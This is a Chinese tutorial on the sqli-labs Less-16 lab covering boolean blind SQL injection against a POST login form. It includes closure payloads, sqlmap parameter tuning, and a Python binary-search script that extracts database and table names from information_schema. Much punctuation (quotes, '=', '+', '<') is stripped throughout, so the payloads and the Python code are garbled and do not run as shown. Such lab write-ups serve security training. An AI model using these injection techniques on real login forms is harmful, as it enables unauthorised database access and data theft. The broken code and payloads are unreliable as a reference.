sqli-labs整套靶场我前前后后刷过两遍Less-16属于那种看着不难、上手就卡住的关卡。前面几关要么是字符型注入能直接回显要么是报错信息直接摆在页面上到了Less-16突然变成POST登录框没有回显点也不输出数据库报错整页只有登录成功和登录失败两种状态。很多人到这关习惯性用联合注入碰运气结果全被挡了回来。Less-16真正的考点是双引号加括号的闭合方式以及基于布尔盲注的自动化提取思路。这篇文章拿它做案例把自动化注入从工具参数到自写脚本的完整链路拆开讲清楚包括闭合判断、响应特征固定、二分法猜解数据、踩坑经验以及这套方法怎么迁移到其他关卡。1. Less-16在考什么闭合方式与盲注判断1.1 后端SQL形态双引号里套括号先看后台大致拼出来的SQL长什么样。Less-16的登录查询常见的写法是把用户名和密码分别包进一对双引号再用小括号整体包一层SELECT username FROM users WHERE username ($uname) AND password ($passwd)注意这个结构用户输入admin实际比较的是(admin)。很多人在前面Less-5、Less-6养成了用单引号闭合的习惯到这一关自然失灵。真正要闭合的是双引号加右括号所以一个典型的注入payload是) or (11)#拼到SQL里变成SELECT username FROM users WHERE username () or (11)#) AND password (x)#把后面多出来的引号、括号、AND password整段注释掉最终真正执行的只有WHERE username () or (11)条件恒真。这就是Less-16最基础的闭合方式。为了确认这个结论可以在本地环境做几组对照测试。给uname分别传、、)、)四种前缀观察页面响应。只有使用)时后续构造才能形成稳定可用的SQL逻辑其他几种要么报语法错误、要么条件不成立。对自动化来说这一步骤是整个流程的地基后续所有的payload都必须保证构造出来的SQL语法合法。1.2 为什么只能用盲注无回显、无报错Less-16的页面逻辑很干净登录成功返回成功标志失败则提示Login Failed数据库查询结果不会在任何位置回显。这意味着联合注入拿不到输出位置常规报错注入也因为没有展示错误信息而无效。剩下的选择就是布尔盲注和时间盲注。布尔盲注的核心是把“查询某个值等于什么”拆成无数个判断题。每次请求构造一个条件比如ascii(substr(database(),1,1))100根据页面返回状态判断条件真假。一次请求只得到1比特信息所以自动化的核心问题就是如何用尽量少的请求把整个数据库名、表名、字段名逐字符猜出来。这里有一个非常重要的认知盲注不是一种“特殊技巧”而是把SQL查询能力降级成“条件判断通道”的思维方式。理解了这一点Less-16就不再是背payload的关卡而是理解自动化工具原理的训练场。2. 自动化前的准备把真假响应固化成指标2.1 抓包确认请求结构和对照测试无论用工具还是手写脚本第一步都是抓包。我用Burp Suite打开本地靶场提交一次正常登录拿到登录请求POST /sqli-labs/Less-16/login.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded unameadminpasswdadmin请求体就两个参数。接下来做两组对照第一组是真条件uname传) or (11)#第二组是假条件传) or (12)#正常情况下两组响应会存在稳定差异。我在本机环境看到的情况是真条件返回页面里出现Login Failed提示假条件则没有这个提示停留在登录表单页。不同部署环境下这个差异可能不同有的版本是跳转路径不同有的版本是响应头里多一个Cookie所以一定要以自己抓包的响应内容为准。这里有个细节容易被忽略调试闭合方式时不要直接在浏览器地址栏里改参数。浏览器会把#当作页面锚点根本不会发给服务器。用Burp的Repeater或者命令行工具发请求得到的结果才是真实可控的。2.2 选判断指标越简单越不容易误判自动化脚本需要一个稳定的布尔判断函数。最简单的方式是检测响应里是否存在某个固定字符串比如Login Failed。脚本每次拿到响应后判断“包含”或“不包含”返回True或False。选指标时要注意排除动态内容。如果页面右下角有时间戳、访问计数之类的动态元素这些内容会产生干扰。我曾经遇到过一次误判页面里有个动态时间字段导致同一个payload重放两次响应内容不同脚本把真条件误判成了假条件。解决办法是选一个静态的、只跟登录状态相关的字符串作为指标比如页面里固定的提示文案或者干脆用整个页面的HTML长度。长度指标在测试环境里通常很稳定但前提是页面只有登录状态这一个变化源。如果页面响应完全没有稳定差异那就只能转到时间盲注路线用) or (sleep(5))#和) or (sleep(0))#的响应时间差作为判断依据。时间盲注速度慢、干扰大属于备选方案但对Less-16这种固定靶场来说布尔盲注一般就够用了。3. 用现成注入工具跑Less-16的调参记录3.1 基础命令从保存请求文件开始如果目标只是快速拿数据主流注入检测工具是个很省事的选择。我以sqlmap为例先把Burp里抓到的原始请求保存成req.txt然后跑基础命令sqlmap -r req.txt --batch但实际经验是Less-16直接跑基础命令大概率跑不出来或者会漏报。因为默认检测流程对“双引号括号布尔盲注”的组合识别效率不高需要手动指定参数。3.2 关键参数限定技术类型和特征值我一般按这个顺序调参sqlmap -r req.txt --batch \ --dbmsmysql \ --techniqueB \ --level3 \ --stringLogin Failed各参数的意义--dbmsmysql直接指定数据库类型减少无效探测。--techniqueB只启用布尔盲注。工具默认会多种技术一起跑Less-16不适合联合注入手动限定能省大量时间。--level3提高检测深度让工具测更多POST参数和payload组合。--stringLogin Failed手动指定布尔判断的特征字符串相当于把上一节“选指标”的结论直接告诉工具。如果加上这些还是识别不了就手动指定闭合方式sqlmap -r req.txt --batch \ --dbmsmysql \ --techniqueB \ --prefix) \ --suffix#--prefix和--suffix分别指定在payload前后需要拼接的内容。手动指定闭合符后工具不需要再花大量请求去猜SQL形态效率和成功率会明显提升。3.3 从工具输出反向学习payload构造跑通之后工具会dump出数据库名、表名、字段名、数据。我建议把日志打开观察它实际发送的payload。工具在布尔盲注阶段会大量使用这类表达式substr(database(),1,1) m这正好也是手写脚本时最核心的查询结构。把工具生成的payload当成参考答案比自己从零猜测要高效很多。但工具不是万能的。有一次我给某个环境跑Less-16工具一直提示“无法注入”最后发现是响应里同时存在多个动态参数工具选择特征时误判了。加了--string强制指定后一次就出数据。所以工具调参的核心还是建立在你对闭合方式和响应特征的理解之上不理解原理就只能盲试。4. 手写Python脚本实现自动化布尔盲注4.1 脚本的设计结构自己写脚本不是为了替代工具而是为了彻底搞懂盲注的每一步。整个脚本的逻辑分四层发送payload获取响应根据响应特征把页面归类为True或False用二分法猜解字符串长度逐个字符猜解内容。4.2 完整可运行的示例代码import requests url http://127.0.0.1/sqli-labs/Less-16/login.php # 这个特征值以实际抓包为准真条件返回中包含该字符串 TRUE_MARK Login Failed def send_payload(condition_expr): payload ) or condition_expr # data { uname: payload, passwd: x } resp requests.post(url, datadata, timeout10) return resp.text def is_true(condition_expr): text send_payload(condition_expr) return TRUE_MARK in text def get_length(expr): lo, hi 1, 64 while lo hi: mid (lo hi) // 2 if is_true(flength({expr}){mid}): lo mid 1 else: hi mid return lo def get_char(expr, pos): lo, hi 32, 126 while lo hi: mid (lo hi) // 2 if is_true(fascii(substr({expr},{pos},1)){mid}): lo mid 1 else: hi mid return chr(lo) def get_value(expr, name): length get_length(expr) value for i in range(1, length 1): value get_char(expr, i) print(f{name}: {value}) return value database_name get_value(database(), database) print(DB_NAME:, database_name)这段代码的使用场景是本地授权的靶场练习。核心思路很简单先猜长度再猜字符。每次请求都只问一个不等式问题然后根据响应真伪缩小区间。4.3 二分法为什么高效盲注每次请求只能得到一比特信息因此请求次数直接决定效率。如果逐字符穷举每个字符最多要试255次用二分法每个字符只需要8次左右。差距非常明显一个20字符的数据库名穷举可能要发5000次请求二分法只需要160次左右。自动化注入的优化重点就在这里。二分法的前提条件是布尔判断必须严格单调。比如判断length(database())mid随着mid增大结果是“真真真假假假”收敛没有问题。字符判断用ascii(substr(...))mid同理。字符范围我设定为32到126覆盖所有可见ASCII字符对于数据库名、表名、字段名这些场景已经足够。如果遇到特殊字符把范围扩展到0到255再配合白名单过滤即可。4.4 从库名扩展到表名和字段名拿到数据库名后下一步是把expr替换成更复杂的子查询。比如提取所有表名的核心表达式是(select group_concat(table_name) from information_schema.tables where table_schemadatabase())放到二分函数里就是table_names get_value( (select group_concat(table_name) from information_schema.tables where table_schemadatabase()), tables )这个思路可以一直延伸从库名到表名、列名、字段内容原理完全一样都是把SQL查询结果拆成单个字符逐个猜测。需要注意MySQL版本差异。MySQL 5.x的information_schema和MySQL 8.x在部分字段的权限要求上不同如果你在较新环境里跑可能会遇到查不到table_schema的情况。本地靶场一般默认5.x或MariaDB问题不大但如果遇到过不去的坎可以先确认一下数据库版本。5. 实战中的典型问题与排查技巧5.1 判断指标不稳定表现形式是同样的payload发送多次有时候响应包含特征有时候不包含。这种情况多半是页面存在动态内容或者请求间隔过快导致连接重置。排查步骤是先固定Burp重放确认特征是否稳定。如果不稳定换一个更静态的特征字段必要时转时间盲注。本机靶场通常没有网络波动基本都能靠稳定特征解决。5.2 注释符失效#注释符在MySQL里没问题但如果你部署环境是特定配置的MariaDB或者某些过滤规则干掉了#payload就会直接报SQL语法错误。替换方案是使用--两个短横线加空格作为注释符或者手动闭合掉末尾的引号和括号不依赖注释符。比如) or (11)不过这需要根据SQL整体形态微调。使用requests库时#放在data字典里会被正确发送不需要手动URL编码但如果你手写data字符串要小心转义问题。5.3 工具跑不出布尔特征sqlmap提示找不到布尔盲注条件时先回到手工测试用Burp确认真条件和假条件到底差异在哪里。手动确认后再通过--string、--not-string或--code告诉工具该看什么。--string是指定包含即命中--not-string是指定不包含即命中选哪个取决于你的特征设定。如果特征本身选错了工具再怎么调参也没用。5.4 请求频率过高被拒自己写的脚本默认没有限速一个循环下来可能短时间内发几百个请求。本地靶场大多能扛住但只用了几个月的老机器或者容器环境可能直接不响应。解决方式很简单在循环体里加一行time.sleep(0.1)实测下来0.1秒的间隔完全够用500个请求也就多花50秒。相比盲注需要人工一轮轮猜这已经快到可以忽略不计了。5.5 子查询表达式太长导致失败表名提取的表达式比database()复杂得多很容易因为括号或者引号使用不当导致SQL拼接错误。排查建议是先跑一个简单表达式比如(select table_name from information_schema.tables limit 0,1)确认这个基础查询能正常返回数据再逐渐替换成group_concat版本。如果简单表达式都拿不到结果问题多半出在闭合符上回到第1节重新检查。6. 从Less-16延伸开去自动化注入的通用套路6.1 找闭合、定特征、提取数据三个固定动作Less-16把自动化注入的流程压缩得很典型。拿到任何一个疑似注入点时不管是不是POST盲注流程都是固定的第一步是找闭合。通过单引号、双引号、括号组合触发SQL语法错误或响应差异确定后台SQL的包裹方式。Less-16是)Less-5是Less-6是每一关都有差异。第二步是定特征。在没有回显和报错的情况下找到页面在True和False两种条件下的稳定差异这个差异就是自动化的判断依据。没有稳定差异就转时间维度。第三步是提取数据。把SQL查询改写成条件表达式用二分法逐字符猜解。工具跑这个步骤很快自己写脚本则能看清每一步。6.2 这套方法怎么迁移到其他关卡把Less-16吃透之后Less-17到Less-20的难度就降下来了。Less-17是UPDATE语句的注入Less-18是User-Agent头注入Less-19是Referer头注入Less-20是Cookie注入。看起来注入点位置变了但底层思路完全一致构造闭合、观察响应、用条件判断提取数据。唯一需要调整的是请求构造方式。比如请求头注入时不只有uname和passwd两个参数还要在请求头里额外发送payload这时用requests构造请求要单独加headers参数。我在实际练习中最深的体会是工具能帮你省时间但永远替代不了“理解注入点为什么成立”这一环。如果有一次你让sqlmap跑通了Less-16但没有设置任何参数、也没看它发送的payload你以为自己掌握了自动化注入等换到Less-17就会原形毕露。反过来如果手写脚本跑通了Less-16再用工具核对结果你会很清楚工具每个参数是在做什么。最后再分享一个小技巧写脚本的时候不要一上来就追求多线程和高效猜解先用单线程、顺序遍历把数据库名跑通确认整条链路没问题再考虑优化速度。这样出了问题排查起来非常快不会一报错就被并发请求淹没。